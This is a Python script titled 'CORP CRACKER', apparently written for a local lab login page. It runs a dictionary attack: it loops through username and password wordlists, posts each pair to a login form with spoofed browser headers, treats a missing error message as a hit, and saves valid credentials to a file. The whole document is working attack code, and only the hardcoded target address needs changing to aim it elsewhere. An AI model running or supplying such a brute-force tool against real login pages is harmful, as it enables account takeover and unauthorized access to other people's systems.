import os
import requests
from bs4 import BeautifulSoup


def print_header():
    header = """
     ██████╗██████╗  █████╗  ██████╗██╗  ██╗███████╗██████╗
    ██╔════╝██╔══██╗██╔══██╗██╔════╝██║ ██╔╝██╔════╝██╔══██╗
    ██║     ██████╔╝███████║██║     █████╔╝ █████╗  ██████╔╝
    ██║     ██╔═══╝ ██╔══██║██║     ██╔═██╗ ██╔══╝  ██╔═══╝
    ╚██████╗██║  ██╗██║  ██║╚██████╗██║  ██╗███████╗██║  ██╗
     ╚═════╝╚═╝  ╚═╝╚═╝  ╚═╝ ╚═════╝╚═╝  ╚═╝╚══════╝╚═╝  ╚═╝
    """
    print(header)
    print("Tool: CORP CRACKER")
    print("Description: Brute force tool for testing login vulnerabilities.")
    print("=" * 60)


if __name__ == '__main__':

    HOST = "127.0.0.1:5001"
    target = f"http://{HOST}/smartworking"
    break_when_found = True

    headers = {
        "Host": HOST,
        "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:134.0) Gecko/20100101 Firefox/134.0",
        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
        "Accept-Language": "it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3",
        "Accept-Encoding": "gzip, deflate, br",
        "Content-Type": "application/x-www-form-urlencoded",
        "Content-Length": "36",
        "Origin": f"{target}",
        "Connection": "keep-alive",
        "Referer": f"{target}",
        "Upgrade-Insecure-Requests": "1",
        "Sec-Fetch-Dest": "document",
        "Sec-Fetch-Mode": "navigate",
        "Sec-Fetch-Site": "same-origin",
        "Sec-Fetch-User": "?1",
        "Priority": "u=0, i"
    }

    USER_LIST = os.path.join(os.path.dirname(os.path.abspath(__file__)), "user_wordlist.txt")
    DICT_PATH = os.path.join(os.path.dirname(os.path.abspath(__file__)), "Pwdb_top-1000-tiny.txt")

    # You can try to enumerate valid usernames with this a list of usernames
    users_list  = [line.rstrip() for line in open(USER_LIST)]
    password_list = [line.rstrip() for line in open(DICT_PATH)]

    print_header()

    print(f"Loaded {len(users_list)} usernames and {len(password_list)} passwords from wordlists.")

    print("Starting dictionary attack...")
    credentials = []

    for i, user in enumerate(users_list, start=1):
        for password in password_list:

            data = {
                "username": user,
                "password": password
            }
            print(f"Attempting to login: {data}")

            response = requests.post(target, headers=headers, data=data)

            if response.status_code == 200:
                # Parse the HTML response with BeautifulSoup
                soup = BeautifulSoup(response.text, 'html.parser')

                # Find the <p> tag with class "error". If there is no such tag, it means the login was successful
                error_message = soup.find('p', class_='error')

                if error_message is None:
                    print(f"✅ Password for user {user} found: {password}")
                    credentials.append(f"{user}:{password}")

    # If some credentials were found, write them to a file
    if len(credentials) > 0:
        print("✅ Valid credentials found and saved to 'found_credentials.txt'")
        output_path = os.path.join(os.path.dirname(os.path.abspath(__file__)), "found_credentials.txt")

        with open(output_path, "a") as f:
            for cred in credentials:
                f.write(cred + "\n")
    else:
        print("❌ No valid credentials were found.")
